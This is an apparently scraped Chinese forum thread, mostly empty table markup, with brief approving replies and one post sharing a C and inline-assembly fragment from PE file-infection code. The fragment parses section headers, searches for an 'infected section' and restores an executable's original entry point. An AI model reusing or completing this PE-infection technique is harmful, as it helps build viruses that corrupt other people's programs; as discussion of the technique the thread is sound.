|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
不错，不错~~嘿嘿~~
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
很神奇，贴些代码观赏
//获取节点个数
_asm
{
PUSHAD
MOV EAX,PeAddr
ADD EAX,0x6
MOV EDX,0x0
MOV DX,WORD PTR [EAX]
MOV jienum,EDX
POPAD
}
lastjie = (int)PeAddr + 0xF8 + (jienum -1)*0x28; //获取最后一个节偏移 lastjieV = *(int*)(lastjie + 0xc) + *(int*)((int)PeAddr +0x34); //虚拟偏移 lastjieF = *(int*)(lastjie + 0x14) + (int)p; //文件偏移 //向前遍历寻找第一个感染节
for(int i = 0;i<10000;i++)
{
relvur -= 0x1000;
if( *(int*)relvur != 0xE8)
{
//就是第一个节
relvur += 0x1000;
i = 10001;
}
}
//恢复真正入口点 *(int*)(relentry + 0x0) = *(int*)(relvur + 0xB2A + 0x0); *(int*)(relentry + 0x4) = *(int*)(relvur + 0xB2A + 0x4); *(int*)(relentry + 0x8) = *(int*)(relvur + 0xB2A + 0x8); *(int*)(relentry + 0xc) = *(int*)(relvur + 0xB2A + 0xc); 为什么不是EXE？ 
|
|
|
|
|
|
|
|
|
 学习鸟
|
